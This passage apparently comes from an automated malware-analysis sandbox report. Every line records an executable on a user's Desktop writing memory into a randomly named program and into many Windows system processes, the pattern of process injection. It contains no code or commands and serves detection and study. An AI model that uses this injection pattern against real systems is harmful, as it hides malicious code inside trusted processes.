Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: F80000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: F90000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2700000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2750000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 10B0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 10C0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: FA0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: FB0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: F20000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: F70000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: D40000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: D50000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 1350000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 13A0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 7B0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 7C0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\svchost.exe base: B10000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: F20000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: 1A0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\dwm.exe base: 670000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\sihost.exe base: D30000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\svchost.exe base: 400000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\svchost.exe base: 8E0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\ctfmon.exe base: 800000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\explorer.exe base: 82C0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\svchost.exe base: 2F0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: A40000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 630000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: 170000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: A90000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 990000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\smartscreen.exe base: 8A0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: F80000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 1B0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 9B0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: AB0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\conhost.exe base: 5A0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\conhost.exe base: 580000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\backgroundTaskHost.exe base: BD0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: BF0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\svchost.exe base: B20000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\dllhost.exe base: CE0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: B70000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: F60000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: F30000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: 1B0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\dwm.exe base: 680000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\sihost.exe base: D40000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\svchost.exe base: 410000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\svchost.exe base: 8F0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\ctfmon.exe base: 810000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\explorer.exe base: AE40000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\svchost.exe base: 300000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: A50000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 640000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: 180000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: AA0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 9A0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\smartscreen.exe base: 8B0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: F90000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 1C0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 9C0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: AC0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\conhost.exe base: 5B0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\conhost.exe base: 590000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\backgroundTaskHost.exe base: BE0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: C00000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\svchost.exe base: B30000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\dllhost.exe base: CF0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: B80000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: F70000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: F40000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: 1C0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\dwm.exe base: 690000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\sihost.exe base: D50000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\svchost.exe base: 420000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\svchost.exe base: 900000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\ctfmon.exe base: 820000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\explorer.exe base: B170000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\svchost.exe base: 310000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: A60000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 650000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: 190000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: AB0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 9B0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\smartscreen.exe base: 8C0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: FA0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 1D0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 9D0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: AD0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\conhost.exe base: 5C0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\conhost.exe base: 5A0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\backgroundTaskHost.exe base: BF0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: C10000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\svchost.exe base: B40000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\dllhost.exe base: D00000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: B90000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: F80000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: F50000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: 1D0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\dwm.exe base: 6A0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\sihost.exe base: D60000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\svchost.exe base: 430000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\svchost.exe base: 910000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\ctfmon.exe base: 830000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\explorer.exe base: B230000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\svchost.exe base: 320000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: A70000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 660000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: 1A0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: AC0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 9C0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\smartscreen.exe base: 8D0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: FB0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 1E0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 9E0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: AE0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\conhost.exe base: 5D0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\conhost.exe base: 5B0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\backgroundTaskHost.exe base: C00000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: C20000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\svchost.exe base: B50000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\dllhost.exe base: D10000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: BA0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: F90000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: F60000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: 1E0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\dwm.exe base: 6B0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\sihost.exe base: D70000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\svchost.exe base: 440000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\svchost.exe base: 920000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Windows\System32\ctfmon.exe base: 840000 Jump to behavior
